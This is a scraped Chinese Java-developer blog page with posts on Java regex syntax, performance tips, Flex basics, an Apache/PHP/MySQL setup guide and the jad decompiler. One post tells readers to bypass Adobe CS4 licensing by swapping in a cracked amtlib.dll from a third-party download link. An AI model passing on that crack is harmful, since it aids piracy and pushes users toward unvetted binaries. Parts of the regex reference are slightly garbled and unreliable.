\B 非单词边界。例如\B(abc)表示单词的中间包含有abc,(jjabcjj匹配而jjabc、abcjj不匹配)
\A 输入的开头
\G 上一个匹配的结尾(个人感觉这个参数没什么用)。例如\\Gdog表示在上一个匹配结尾处查找dog如果没有的话则从开头查找,注意如果开头不是dog则不能匹配。
\Z 输入的结尾,仅用于最后的结束符(如果有的话)
行结束符 是一个或两个字符的序列,标记输入字符序列的行结尾。
以下代码被识别为行结束符:
‐新行(换行)符 ('\n')、
‐后面紧跟新行符的回车符 ("\r\n")、
‐单独的回车符 ('\r')、
‐下一行字符 ('\u0085')、
‐行分隔符 ('\u2028') 或
‐段落分隔符 ('\u2029)。
\z 输入的结尾
当编译模式时,可以设置一个或多个标志,例如
Pattern pattern = Pattern.compile(patternString,Pattern.CASE_INSENSITIVE + Pattern.UNICODE_CASE);
下面六个标志都是支持的:
‐CASE_INSENSITIVE:匹配字符时与大小写无关,该标志默认只考虑US ASCII字符。
‐UNICODE_CASE:当与CASE_INSENSITIVE结合时,使用Unicode字母匹配
‐MULTILINE:^和$匹配一行的开始和结尾,而不是整个输入
‐UNIX_LINES: 当在多行模式下匹配^和$时,只将'\n'看作行终止符
‐DOTALL: 当使用此标志时,.符号匹配包括行终止符在内的所有字符
‐CANON_EQ: 考虑Unicode字符的规范等价
8.Greedy 数量词
X? X,一次或一次也没有
X* X,零次或多次
X+ X,一次或多次
X{n} X,恰好 n 次
X{n,} X,至少 n 次
X{n,m} X,至少 n 次,但是不超过 m 次
9.Reluctant 数量词
X?? X,一次或一次也没有
X*? X,零次或多次
X+? X,一次或多次
X{n}? X,恰好 n 次
X{n,}? X,至少 n 次
X{n,m}? X,至少 n 次,但是不超过 m 次
10.Possessive 数量词
X?+ X,一次或一次也没有
X*+ X,零次或多次
X++ X,一次或多次
X{n}+ X,恰好 n 次
X{n,}+ X,至少 n 次
X{n,m}+ X,至少 n 次,但是不超过 m 次
Greedy,Reluctant,Possessive的区别在于:(注意仅限于进行.等模糊处理时)
greedy量 词被看作“贪婪的”,因为它第一次就读入整个被模糊匹配的字符串。如果第一个匹配尝试(整个输入字符串)失败,匹配器就会在被匹配字符串中的最后一位后退一个字符并且再次尝试,重复这个过程,直到找到匹配或者没有更多剩下的字符可以后退为止。根据表达式中使用的量词,它最后试图匹配的内容是1 个或者0个字符。
但是,reluctant量词采取相反的方式:它们从被匹配字符串的开头开始,然后逐步地一次读取一个字符搜索匹配。它们最后试图匹配的内容是整个输入字符串。
最后,possessive量词总是读完整个输入字符串,尝试一次(而且只有一次)匹配。和greedy量词不同,possessive从不后退。
11.Logical 运算符
XY X 后跟 Y
X|Y X 或 Y
(X) X,作为捕获组。例如(abc)表示把abc作为一个整体进行捕获
12.Back 引用
\n 任何匹配的 nth捕获组
捕获组可以通过从左到右计算其开括号来编号。例如,在表达式 ((A)(B(C)))中,存在四个这样的组:
1 ((A)(B(C)))
2 \A
3 (B(C))
4 (C)
在表达式中可以通过\n来对相应的组进行引用,例如(ab)34\1就表示ab34ab,(ab)34(cd)\1\2就表示ab34cdabcd。
13.引用
\ Nothing,但是引用以下字符
\Q Nothing,但是引用所有字符,直到 \E。QE之间的字符串会原封不动的使用(1.1中转义字符的除外)。例如, ab\\Q{|}\\\\E
可以匹配ab{|}\\
\E Nothing,但是结束从 \Q开始的引用
14.特殊构造(非捕获)
(?:X) X,作为非捕获组
(?idmsux-idmsux) Nothing,但是将匹配标志由 on 转为 off。比如:表达式 (?i)abc(?-i)def 这时,(?i) 打开不区分大小写开关,abc 匹配
idmsux说明如下:
‐i CASE_INSENSITIVE :US-ASCII 字符集不区分大小写。(?i)
‐d UNIX_LINES : 打开UNIX换行符
‐m MULTILINE :多行模式(?m)
UNIX下换行为\n
WINDOWS下换行为\r\n(?s)
‐u UNICODE_CASE : Unicode 不区分大小写。(?u)
‐x COMMENTS :可以在pattern里面使用注解,忽略pattern里面的whitespace,以及"#"一直到结尾(#后面为注解)。(?x)例如(?x)abc#asfsdadsa可以匹配字符串abc
(?idmsux-idmsux:X) X,作为带有给定标志 on - off 的非捕获组。与上面的类似,上面的表达式,可以改写成为:(?i:abc)def,或者 (?i)abc(?-i:def)
(?=X) X,通过零宽度的正 lookahead。零宽度正先行断言,仅当子表达式 X 在 此位置的右侧匹配时才继续匹配。例如,\w+(?=\d) 表示字母后面跟数字,但不捕获数字(不回溯)
(?!X) X,通过零宽度的负 lookahead。零宽度负先行断言。仅当子表达式 X 不在 此位置的右侧匹配时才继续匹配。例如,\w+(?!\d) 表示字母后面不跟数字,且不捕获数字。
(?<=X) X,通过零宽度的正 lookbehind。零宽度正后发断言。仅当子表达式 X 在 此位置的左侧匹配时才继续匹配。例如,(?<=19)99 表示99前面是数字19,但不捕获前面的19。(不回溯)
(?
(?>X) X,作为独立的非捕获组(不回溯)
(?=X)与(?>X)的区别在于(?>X)是不回溯的。例如被匹配的字符串为abcm
当表达式为a(?:b|bc)m是可以匹配的,而当表达式是a(?>b|bc)时是不能匹配的,因为当后者匹配到b时,由于已经匹配,就跳出了非捕获组,而不再次对组内的字符进行匹配。可以加快速度。
来自:http://www.blogjava.net/Werther/archive/2009/06/10/281198.html
在JAVA中使用正则表达式时,应该import下面两个类
import java.util.regex.Matcher;
import java.util.regex.Pattern;
另外"\"应该被替换成"\\"。
具体方法是:
String sql="create table test(id varchar(10) not null)"
String reg="create\\s+table\\s+.+";
Pattern p = Pattern.compile(reg);
Matcher m = p.matcher(sql);
boolean b = m.matches();
得到的布尔值表示sql是否匹配正则表达式reg。
posted @
2010-02-09 09:47 junly 阅读(314) |
评论 (0) |
编辑 收藏
1 Vector与ArrayList(HashTable/HashMap)
Vector防止多线程运行,是线程安全的,效率低,安全性高。
ArrayList在多线程环境下运行,是非线程安全的,效率高,安全性低。
以下方法可以将ArrayList类标识为线程安全的对象:
List list=Collections.synchronizedList(new ArrayList());
2 ArrayList
对于很大的数组,并且你预料到这个数组将会变得异常庞大,这里给出一个方法优化性能:
final int N=1000000;
ArrayList list=new ArrayList();
//调用ensureCapacity()方法初始化大小
list.ensureCapacity(N);
for(int i=0;i<N;i++){
list.add(obj);
}
3 ArrayList与LinkedList(同属List接口)
底层实现方法不同:ArrayList通过内部数组结构Object[]实现。
LinkedList类似数据结构中的链表对象,通过一系列的内部记录连接在一起来实现的。
将一个元素插入到集合中的某个位置时,使用LinkedList比ArrayList快很多,原因是ArrayList插入后其后面所有元素后移一位,而LinkedList只需要添加一个指向头部的引用即可。
在集合中按下标查找元素时,使用ArrayList比LinkedList快很多。
4 String与StringBuffer
使用append()方法代替"+"运算
5 字符串的length()方法
6 charAt()与toCharArray()
通过charAt()定位字符串时每次都要引起新的检索过程,更好的办法是转化为字符数给,通过数组索引定位。
7 简单字符串格式化时,"+"运算
优于String.formart()很多。
posted @
2010-01-21 18:35 junly 阅读(350) |
评论 (0) |
编辑 收藏
摘要: 1. 基础选择器 Basics
名称
说明
举例
#id
根据元素Id选择
$("divId") 选择ID为divId的元素
...
阅读全文
posted @
2010-01-21 11:48 junly 阅读(103772) |
评论 (11) |
编辑 收藏
ADOBE CS4 因许可证过期无法启动,最简单的解决办法就是破解执行激活验证的amtlib.dll文件,用破解了的文件替换,就再也不会连网验証了。
可以去以下地址下载已经破解的amtlib.dll文件。
http://st0p.cn/amtlib.rar
非常好用!!!!!!!
完整汉化包:
http://www.qqpcc.com/down/zh_CN.rar
部分英文未汉化补丁修正版:resources.rar
好用留个话!
posted @
2010-01-21 09:45 junly 阅读(1051) |
评论 (3) |
编辑 收藏
1 少量的内联代码 比 方法调用运行速度快4倍。但对于大量的、重复度高的代码还是建议使用方法。
2 final方法编译器会将该方法的代码展开插入到调用代码处,因此运行速度快,提高了效率。同样final类也可以提高效率。
3 使用循环语句的几个建议:
1)当作数组拷贝操作时,采用System.arraycopy()方法完成拷贝操作。
2)尽量避免在循环体中调用方法,因为方法调用是比较昂贵的。
3)最好避免在循环体中存取数组元素,比较好的办法是在循环体内采用临时变量,在循环体外更改数组的值。
4)采用0值作为终结条件。
5)避免作终结条件比较时采用方法返回值的方式进行判断,这样将降低系统性能。
6)避免在循环体中使用try-catch,最好在在循环体外使用try-catch以提高性能。
7)在多重循环中,如果有可能,尽量将最长的循环放在最内层,最短的循环放在最外层,以减少循环层间的切换次数。
8)如果循环体内有if-else类逻辑判断,并且循环次数很大,最好将if-else类逻辑判断移到循环体之外,以提高应用性能。
posted @
2010-01-20 15:50 junly 阅读(390) |
评论 (0) |
编辑 收藏
字符串比较时,采用.intern()方法将字符串添加到驻留池中,再进行比较,运行速度比equals()方法更快
String str="张三";
str=str.intern();
if(str=="张三"){
System.out.println("相同");
}
posted @
2010-01-20 15:26 junly 阅读(306) |
评论 (0) |
编辑 收藏
要让Dreamweaver支持jQuery自动提示代码功能,方法很简单,下载一个插件—jQuery_API.mxp[点击下载]。
在Dreamweaver里依次选择“命令” -> “扩展管理” -> “安装扩展” -> …,就会自动安装了。
成功后重启Dreamweaver,就大功告成了。
点击下载DW cs4的jQuery语法提示插件:jquery_api_for_dw4
注意:如果您安装的是精简版的Dreamweaver,那么请先下载Adobe Extension Manager 插件管理器[点击下载],我自己是cs3的,因此该处链接也是适用于cs3,请根据自己相应版本选择下载。
posted @
2010-01-20 12:38 junly 阅读(16393) |
评论 (5) |
编辑 收藏
这是struts2的一个拦截器错误
首先
查看struts的XML中对应action里配置是否有
<result name="input">/AddProducts.jsp</result>
如果有说明在拦截图器链中某个拦截器出错,大多情况下是
数据类型转换错误!
posted @
2010-01-14 19:50 junly 阅读(1054) |
评论 (0) |
编辑 收藏
webgame
posted @
2009-12-30 21:29 junly 阅读(257) |
评论 (0) |
编辑 收藏
框架:
Yahoo UI
ProtoType
JQuery
OpenRico
ExtJS
Scriptaculous
DoJo
Moofx
QoodXoo
GWT
TacoNite
Sarissa
Spry
画廊(图片展示)
Galleria
FrogJS
HighSlide
SmoothGallery
DHTMLGoodies - Image Slideshow
Google Slideshow
JQuery Cycle
PhatFusion Gallery
Ajax Slideshow with XML
TripTracker Slideshow
Aeron Slideshow
WebTwo Ajax Slideshow
Spry Gallery Demo
jQuery ImageStrip Slideshow
MiniShowCase
Ajax Coverflow (Slideflow)
Lightweight Gallery
Livepipe Photo Folder
jaS Gallery
Mooflow
Cross browser toys Gallery
Moo Cycle
菜单
Sliding Bar Menu - Mootools
jQuery Fastfind Menu
Apple Dock
Image Menu amongst others - as seen on Microsoft
Tree menu
Context Menu
LavaLamp for jQuery
Slashdot menu
Mootools Menu copy
Css Dock Menu
Nice Horizontal menu
Accessible Expanding Menu
MultiLevel Menu - jQuery
jQuery HoverAccordion
Apple Hover Menu sim
Simple Javascript Accordian
StickMan Labs Accordian
MooTools clone
Nyko Glitter Tabs
Horizontal Accordion
Colour Transition
Dropdown Menu with jQuery
模式窗口/ Lightboxes
Livepipes Modal Box
Lightbox gone wild
Thickbox
SubModal
Lightbox without Images
lightbox
Moodalbox
Lightwindow
Videobox: Lightbox for videos
Facebox
Multibox
Shadowbox
GlassBox
jQuery Lightbox Plugin
jQuery Lightbox Plugin Bal
Highslide JS
YUI based Lightbox
Mediabox
SqueezeBox
iBox
mooSlideBox
Smoothbox
鼠标提示
Javascript Focusing Library
Nice titles
Nice Titles Revision
Ajax Enabled Help Balloons
jTip
jQuery plugin tooltip
qTip
Cody Lindley’s Tooltip
Boxover
SuperNotes
Coda Puff Effect
表单
jNice - Jquery Nice Forms
Custom Checkboxes
Checkbox Group
Ajax driven combobox
(小组件)Widgets
DragnDrop Library
AutoComplete
Fat Focus
Form Field hints
UI component for Prototype
Interface Elements for jQuery
jQuery ScrollTo
jScrollPane
AutoSuggest AutoComplete
Ajax AutoComplete
Autocomplete with JSON
其他
Logging Framework JS
地图
Web map server Javascript library
Google Maps Api
Ajax GIS client
MapStraction
Giant Pan
Zoomify
posted @
2009-12-30 15:17 junly 阅读(451) |
评论 (0) |
编辑 收藏
先准备好软件:
Apache官方下载地址:
apache_2.2.4-win32-x86-no_ssl.msi,更多版本在这里;
php官方下载地址:
php-5.2.12-Win32.zip,更多镜像下载地址,更多版本下载;
mysql官方下载地址:
mysql-5.0.14-win32.zip,更多镜像下载地址,更多版本下载。
一、安装Apache,配置成功一个普通网站服务器
运行下载好的“apache_2.0.55-win32-x86-no_ssl.msi”,出现如下界面:
出现Apache HTTP Server 2.0.55的安装向导界面,点“Next”继续
确认同意软件安装使用许可条例,选择“I accept the terms in the license agreement”,点“Next”继续
将Apache安装到Windows上的使用须知,请阅读完毕后,按“Next”继续
设置系统信息,在Network Domain下填入您的域名(比如:popsms.net.cn),在Server Name下填入您的服务器名称(比如:www.popsms.net.cn,也就是主机名加上域名),在Administrator's Email Address下填入系统管理员的联系电子邮件地址(比如:tiger520119@126.com),上述三条信息仅供参考,其中联系电子邮件地址会在当系统故障时提供给访问者,三条信息均可任意填写,无效的也行。下面有两个选择,图片上选择的是为系统所有用户安装,使用默认的80端口,并作为系统服务自动启动;另外一个是仅为当前用户安装,使用端口8080,手动启动。一般选择如图所示。按“Next”继续。]
选择安装类型,Typical为默认安装,Custom为用户自定义安装,我们这里选择Custom,有更多可选项。按“Next”继续
出现选择安装选项界面,如图所示,左键点选“Apache HTTP Server 2.0.55”,选择“This feature, and all subfeatures, will be installed on local hard drive.”,即“此部分,及下属子部分内容,全部安装在本地硬盘上”。点选“Change...”,手动指定安装目录。
我这里选择安装在“D:\”,各位自行选取了,一般建议不要安装在操作系统所在盘,免得操作系统坏了之后,还原操作把Apache配置文件也清除了。选“OK”继续。
返回刚才的界面,选“Next”继续。
确认安装选项无误,如果您认为要再检查一遍,可以点“Back”一步步返回检查。点“Install”开始按前面设定的安装选项安装。
正在安装界面,请耐心等待,直到出现下面的画面。
安装向导成功完成,这时右下角状态栏应该出现了下面的这个绿色图标,表示Apache服务已经开始运行,按“Finish”结束Apache的软件安装
我们来熟悉一下这个图标,很方便的,在图标上左键单击,出现如下界面,有“Start(启动)”、“Stop(停止)”、“Restart(重启动)”三个选项,可以很方便的对安装的Apache服务器进行上述操作。
好了现在我们来测试一下按默认配置运行的网站界面,在IE地址栏打“http://127.0.0.1”,点“转到”,就可以看到如下页面,表示Apache服务器已安装成功。
现在开始配置Apache服务器,使它更好的替我们服务,事实上,如果不配置,你的安装目录下的Apache2\htdocs文件夹就是网站的默认根目录,在里面放入文件就可以了。这里我们还是要配置一下,有什么问题或修改,配置始终是要会的,如图所示,“开始”、“所有程序”、“Apache HTTP Server 2.0.55”、“Configure Apache Server”、“Edit the Apache httpd conf Configuration file”,点击打开。
XP的记事本有了些小变化,很实用的一个功能就是可以看到文件内容的行、列位置,按下图所示,点“查看”,勾选“状态栏”,界面右下角就多了个标记,“Ln 78, Col 10”就表示“行 78,列 10”,这样可以迅速的在文件中定位,方便解说。当然,你也可以通过“编辑”,“查找”输入关键字来快速定位。每次配置文件的改变,保存后,必须在 Apache服务器重启动后生效,可以用前面讲的小图标方便的控制服务器随时“重启动”。
现在正式开始配置Apache服务器,“Ln 228”,或者查找关键字“DocumentRoot”(也就是网站根目录),找到如下图所示地方,然后将""内的地址改成你的网站根目录,地址格式请照图上的写,主要是一般文件地址的“\”在Apache里要改成“/”。
“Ln 253”,同样,你也可以通过查找“DIRECTORY”来定位,以后不再说明,将""内的地址改成跟DOCUMENTROOT的一样。
“Ln321”,DirectoryIndex(目录索引,也就是在仅指定目录的情况下,默认显示的文件名),可以添加很多,系统会根据从左至右的顺序来优先显示,以单个半角空格隔开,比如有些网站的首页是index.htm,就在光标那里加上“index.htm ”文件名是任意的,不一定非得“index.html”,比如“test.php”等,都可以。
这里有一个选择配置选项,以前可能要配置,现在好像修正过来了,不用配置了,就是强制所有输出文件的语言编码,html文件里有语言标记(,这个就是设定文档语言为gb2312)的也会强制转换。如果打开的网页出现乱码,请先检查网页内有没有上述 html语言标记,如果没有,添加上去就能正常显示了。把“# DefaultLanguage nl”前面的“# ”去掉,把“nl”改成你要强制输出的语言,中文是“zh-cn”,保存,关闭。
好了,简单的Apache配置就到此结束了,现在利用先前的小图标重启动,所有的配置就生效了,你的网站就成了一个网站服务器,如果你加载了防火墙,请打开80或8080端口,或者允许Apache程序访问网络,否则别人不能访问。如果你有公网IP(一般ADSL或电话拨号上网的都是),就可以邀请所有能上网的朋友访问使用http://你的IP地址(IP地址查询可访问http://www.popsms.net.cn,查询内容内即是)你的网站了;如果你没有公网IP,也可以把内网IP地址告诉局域网内的其它用户,让他们通过http://你的内网IP地址,访问你的网站。
二、php的安装、以module方式,将php与apache结合使你的网站服务器支持php服务器脚本程序
将下载的php安装文件php-5.0.5-Win32.zip右键解压缩。
指定解压缩的位置,我的设定在“D:\php”
查看解压缩后的文件夹内容,找到“php.ini-dist”文件,将其重命名为“php.ini”,打开编辑,找到下面图中的地方, Ln385,有一个“register_globals = Off”值,这个值是用来打开全局变量的,比如表单送过来的值,如果这个值设为“Off”,就只能用“$_POST['变量名']、$_GET['变量名 ']”等来取得送过来的值,如果设为“On”,就可以直接使用“$变量名”来获取送过来的值,当然,设为“Off”就比较安全,不会让人轻易将网页间传送的数据截取。这个值是否改成“On”就看自己感觉了,是安全重要还是方便重要?
这里还有一个地方要编辑,功能就是使php能够直接调用其它模块,比如访问mysql,如下图所示,Ln563,选择要加载的模块,去掉前面的 “;”,就表示要加载此模块了,加载的越多,占用的资源也就多一点,不过也多不到哪去,比如我要用mysql,就要把“;extension= php_mysql.dll”前的“;”去掉。所有的模块文件都放在php解压缩目录的“ext”之下,我这里的截图是把所有能加载的模块都加载上去了,前面的“;”没去掉的,是因为“ext”目录下默认没有此模块,加载会提示找不到文件而出错。这里只是参考,一般不需要加载这么多,需要的加载上就可以了,编辑好后保存,关闭。
如果上一步加载了其它模块,就要指明模块的位置,否则重启Apache的时候会提示“找不到指定模块”的错误,这里介绍一种最简单的方法,直接将php安装路径、里面的ext路径指定到windows系统路径中——在“我的电脑”上右键,“属性”,选择“高级”标签,点选“环境变量”,在“系统变量”下找到“Path”变量,选择,双击或点击“编辑”,将“;D:\php;D:\php\ext”加到原有值的后面,当然,其中的“D:\php” 是我的安装目录,你要将它改为自己的php安装目录,如下图所示,全部确定。系统路径添加好后要重启电脑才能生效,可以现在重启,也可以在所有软件安装或配置好后重启。
现在开始将php以module方式与Apache相结合,使php融入Apache,照先前的方法打开Apache的配置文件,Ln 173,找到这里,添加进如图所示选中的两行,第一行“LoadModule php5_module "D:/php/php5apache2_2.dll"”是指以module方式加载php,第二行“PHPIniDir "D:/php"”是指明php的配置文件php.ini的位置,是当然,其中的“D:/php”要改成你先前选择的php解压缩的目录。
还是Apache的配置文件,Ln 757,加入“AddType application/x-httpd-php .php”、“AddType application/x-httpd-php .html”两行,你也可以加入更多,实质就是添加可以执行php的文件类型,比如你再加上一行“AddType application/x-httpd-php .htm”,则.htm文件也可以执行php程序了,你甚至还可以添加上一行“AddType application/x-httpd-php .txt”,让普通的文本文件格式也能运行php程序。
前面所说的目录默认索引文件也可以改一下,因为现在加了php,有些文件就直接存为.php了,我们也可以把“index.php”设为默认索引文件,优先顺序就自己排了,我的是放在第一位。编辑完成,保存,关闭。
现在,php的安装,与Apache的结合已经全部完成,用屏幕右下角的小图标重启Apache,你的Apache服务器就支持了php。
三、mysql的安装,与php、Apache相结合
打开下载的mysql安装文件mysql-4.1.14-win32.zip,双击解压缩,运行“setup.exe”,出现如下界面
mysql安装向导启动,按“Next”继续
选择安装类型,有“Typical(默认)”、“Complete(完全)”、“Custom(用户自定义)”三个选项,我们选择“Custom”,有更多的选项,也方便熟悉安装过程
在“Developer Components(开发者部分)”上左键单击,选择“This feature, and all subfeatures, will be installed on local hard drive.”,即“此部分,及下属子部分内容,全部安装在本地硬盘上”。在上面的“MySQL Server(mysql服务器)”、“Client Programs(mysql客户端程序)”、“Documentation(文档)”也如此操作,以保证安装所有文件。点选“Change...”,手动指定安装目录。
填上安装目录,我的是“D:\mysql”,也建议不要放在与操作系统同一分区,这样可以防止系统备份还原的时候,数据被清空。按“OK”继续。
返回刚才的界面,按“Next”继续。
确认一下先前的设置,如果有误,按“Back”返回重做。按“Install”开始安装。
正在安装中,请稍候,直到出现下面的界面
这里是询问你是否要注册一个mysql.com的账号,或是使用已有的账号登陆mysql.com,一般不需要了,点选“Skip Sign-Up”,按“Next”略过此步骤。
现在软件安装完成了,出现上面的界面,这里有一个很好的功能,mysql配置向导,不用向以前一样,自己手动乱七八糟的配置my.ini了,将 “Configure the Mysql Server now”前面的勾打上,点“Finish”结束软件的安装并启动mysql配置向导。
mysql配置向导启动界面,按“Next”继续。
选择配置方式,“Detailed Configuration(手动精确配置)”、“Standard Configuration(标准配置)”,我们选择“Detailed Configuration”,方便熟悉配置过程。
选择服务器类型,“Developer Machine(开发测试类,mysql占用很少资源)”、“Server Machine(服务器类型,mysql占用较多资源)”、“Dedicated MySQL Server Machine(专门的数据库服务器,mysql占用所有可用资源)”,大家根据自己的类型选择了,一般选“Server Machine”,不会太少,也不会占满。
选择mysql数据库的大致用途,“Multifunctional Database(通用多功能型,好)”、“Transactional Database Only(服务器类型,专注于事务处理,一般)”、“Non-Transactional Database Only(非事务处理型,较简单,主要做一些监控、记数用,对MyISAM数据类型的支持仅限于non-transactional),随自己的用途而选择了,我这里选择“Transactional Database Only”,按“Next”继续。
对InnoDB Tablespace进行配置,就是为InnoDB 数据库文件选择一个存储空间,如果修改了,要记住位置,重装的时候要选择一样的地方,否则可能会造成数据库损坏,当然,对数据库做个备份就没问题了,这里不详述。我这里没有修改,使用用默认位置,直接按“Next”继续
选择您的网站的一般mysql访问量,同时连接的数目,“Decision Support(DSS)/OLAP(20个左右)”、“Online Transaction Processing(OLTP)(500个左右)”、“Manual Setting(手动设置,自己输一个数)”,我这里选“Online Transaction Processing(OLTP)”,自己的服务器,应该够用了,按“Next”继续
是否启用TCP/IP连接,设定端口,如果不启用,就只能在自己的机器上访问mysql数据库了,我这里启用,把前面的勾打上,Port Number:3306,按“Next”继续
这个比较重要,就是对mysql默认数据库语言编码进行设置,第一个是西文编码,第二个是多字节的通用utf8编码,都不是我们通用的编码,这里选择第三个,然后在Character Set那里选择或填入“gbk”,当然也可以用“gb2312”,区别就是gbk的字库容量大,包括了gb2312的所有汉字,并且加上了繁体字、和其它乱七八糟的字——使用mysql的时候,在执行数据操作命令之前运行一次“SET NAMES GBK;”(运行一次就行了,GBK可以替换为其它值,视这里的设置而定),就可以正常的使用汉字(或其它文字)了,否则不能正常显示汉字。按 “Next”继续。
选择是否将mysql安装为windows服务,还可以指定Service Name(服务标识名称),是否将mysql的bin目录加入到Windows PATH(加入后,就可以直接使用bin下的文件,而不用指出目录名,比如连接,“mysql.exe -uusername -ppassword;”就可以了,不用指出mysql.exe的完整地址,很方便),我这里全部打上了勾,Service Name不变。按“Next”继续。
这一步询问是否要修改默认root用户(超级管理)的密码(默认为空),“New root password”如果要修改,就在此填入新密码(如果是重装,并且之前已经设置了密码,在这里更改密码可能会出错,请留空,并将“Modify Security Settings”前面的勾去掉,安装配置完成后另行修改密码),“Confirm(再输一遍)”内再填一次,防止输错。“Enable root access from remote machines(是否允许root用户在其它的机器上登陆,如果要安全,就不要勾上,如果要方便,就勾上它)”。最后“Create An Anonymous Account(新建一个匿名用户,匿名用户可以连接数据库,不能操作数据,包括查询)”,一般就不用勾了,设置完毕,按“Next”继续。
确认设置无误,如果有误,按“Back”返回检查。按“Execute”使设置生效。
设置完毕,按“Finish”结束mysql的安装与配置——这里有一个比较常见的错误,就是不能“Start service”,一般出现在以前有安装mysql的服务器上,解决的办法,先保证以前安装的mysql服务器彻底卸载掉了;不行的话,检查是否按上面一步所说,之前的密码是否有修改,照上面的操作;如果依然不行,将mysql安装目录下的data文件夹备份,然后删除,在安装完成后,将安装生成的 data文件夹删除,备份的data文件夹移回来,再重启mysql服务就可以了,这种情况下,可能需要将数据库检查一下,然后修复一次,防止数据出错。
与Apache及php相结合,前面已提过,这里再说一下,在php安装目录下,找到先前重命名并编辑过的 php.ini,如下图所示,Ln563,把“;extension=php_mysql.dll”前的“;”去掉,加载mysql模块。保存,关闭后,重启apache就可以了。这里也可以选择其它要加载的模块,去掉前面的“;”,就表示要加载此模块了,加载的越多,占用的资源也就多一点,不过也多不到哪去。所有的模块文件都放在php解压缩目录的“ext”之下,我这里的截图是把所有能加载的模块都加载上去了,前面的“;”没去掉的,是因为“ext” 目录下默认没有此模块,加载会提示找不到文件而出错。这里只是参考,一般不需要加载这么多,需要的加载上就可以了,编辑好后保存,关闭。
同样,加载了模块后,就要指明模块的位置,否则重启Apache的时候会提示“找不到指定模块”的错误,这里介绍一种最简单的方法,直接将 php安装路径、里面的ext路径指定到windows系统路径中——在“我的电脑”上右键,“属性”,选择“高级”标签,点选“环境变量”,在“系统变量”下找到“Path”变量,选择,双击或点击“编辑”,将“;D:\php;D:\php\ext”加到原有值的后面,当然,其中的“D:\php”是我的安装目录,你要将它改为自己的php安装目录,如下图所示,全部确定。系统路径添加好后要重启电脑才能生效,可以现在重启,也可以在所有软件安装或配置好后重启。
posted @
2009-12-26 00:45 junly 阅读(1271) |
评论 (0) |
编辑 收藏
摘要: TimerTask的实现
实现TimerTask的run方法就可以了.
如下:SayHelloTask.java
package test.timerTask;
import java.util.TimerTask;
public class SayHelloTask extends TimerTa...
阅读全文
posted @
2009-12-17 19:20 junly 阅读(558) |
评论 (0) |
编辑 收藏
一切开始的地方
<?xml version="1.0" encoding="utf-8"?>
<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" layout="absolute">
<mx:Panel>
<mx:TextArea text="Say hello to Flex!" />
<mx:Button label="Close" />
</mx:Panel>
</mx:Application>
1 头两行包含了版本号、编码、以及命名空间的信息
2 Flex 应用程序所有的具体内容都被放在<mx:Application>标签对中
3 在MXML 文件中的每个标签都有前缀mx,它是Flex 的设计命名空间
4 父标签对中嵌套子标签对,标签是成对出现的
连接数据
Flex 应用程序不直接与数据库进行连接,使用MXML 和ActionScript 代码来操作和管理数据
连接数据库的第一步是生成将在Flex 程序中使用到的数据
步骤:
1. 创建一个数据库(如MySQL)。
2. 编写脚本连接MySQL 数据库并生成XML 格式的数据。
(一)连接外部数据源
对于 所生成的XML 格式数据,你可以使用HTTPService 组件来请求获取数据
例(php):
<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" layout="absolute">
<mx:HTTPService
id="productsRequest"
url="http://www.somesite.com/products.php" />
HTTPService 组件定义了一个请求ID,你将使用这个ID 来控制提供数据的URL 或者
服务器与数据之间的绑定。
(二)外部数据与数据驱动控制的绑定
通过数据与数据驱动控制(data-driven control)的绑定,你就可以处理HTTPService的结果(XML 数据),
就象这样:
<mx:DataGrid x="20" y="80" id="productGrid" width="400"
dataProvider="{productRequest.lastResult.products.items}" >
<mx:columns>
<mx:DataGridColumn headerText="Name" dataField="name" />
<mx:DataGridColumn headerText="Price" dataField="price" />
</mx:columns>
</mx:DataGrid>
数据绑定的语法显示在数据控制的dataProvider 属性中(在波浪形的括号里),它包含了HTTPService 请求ID、
lastResult 方法、以及XML 文件的数据结构。在这个例子中,XML数据源的数据结构看起来就象这样:
<XML>
<products>
<item>
<name>Mobile Phone</name>
<price>$199</price>
</item>
<item>
<name>Car Charger</name>
<price>$34</price>
</item>
</products>
</XML>
通过设置dataField 属性,项目数据(name 和price)作为数据栅格中每一列的数据。
(三)在运行时加载数据
你还可以在Flex 程序开始运行时加载数据,就象随后所示,在 HTTPService 中向某个特定的URL 发送一个请求:
<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" layout="absolute"
creationComplete="productsRequest.send()" >
当你将creationComplete 方法添加到应用程序标签里后,数据会在运行时进行加载并交于数据驱动控制(在这个例子中是数据栅格)。
你还可以将HTTPService 请求添加到一个控制事件上而不是程序里的标签中,就象如下所示:
<mx:Button x="50" y="8" label="Get Data" click="productsRequest.send();" />
Flex 提供许多方法去连接、管理、格式化、以及校验数据。你可以通过使用远程程序调用、数据服务、或者其它企业级技术来操纵和管理数据。
Flex 应用程序设计界面布局
1 通过设置组件的属性值来控制Flex 应用程序的界面布局,就象如下所示:
<?xml version="1.0" encoding="utf-8"?>
<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" layout="absolute">
<mx:Panel layout="absolute" width="80%" height="80%">
<mx:TextArea text="Say hello to Flex!" top="10" bottom="70" left="10"
right="30"/>
<mx:Button label="Close" right="30" bottom="40"/>
</mx:Panel>
</mx:Application>
许多容器组件都允许以绝对坐标的方式创建布局,这就意义着你可以使用精确的x 和y的坐标来放置组件。你还可以对应其父容器的相对位置来
放置组件并约束它们,使它们在应用程序的界面放大或缩小时仍然保持其彼此的位置。
2 使用风格和主题增强视觉方面的设计
1)如果样式/style 的属性值没有被指定,将由整个程序中运行的主题/theme 来进行控制。在默认情况下,Flex 应用程序使用Halo 主题
2)创建主题
posted @
2009-12-16 11:30 junly 阅读(256) |
评论 (0) |
编辑 收藏
http://www.kpdus.com/jad.html 官方最新版本,支持jdk1.6
Java下的一个简单易用的反编译工具jad, 可以很方便的将.class反编译为.Java. 点击下载
一、基本用法
Usage:jad [option(s)]
直接输入类文件名,且支持通配符,如下所示。
c:\Java\>jad example1.class
c:\Java\>jad *.class
结果是将example1.class反编译为example1.jad。将example1.jad改为example1.Java即得源文件。
二、Option -o
不提示,覆盖源文件
三、Option -s
c:\Java\>jad -sJava example1.class
反编译结果以.Java为扩展名。
四、Option -p
将反编译结果输出到屏幕
c:\Java\>jad -p example1.class
将反编译结果重定向到文件
c:\Java\>jad -p example1.class>example1.Java
五、Option -d
指定反编译的输出文件目录
c:\Java\>jad -o -dtest -sJava *.class
该文章转载自网络大本营:http://www.haoad.net/Info/3883.Html
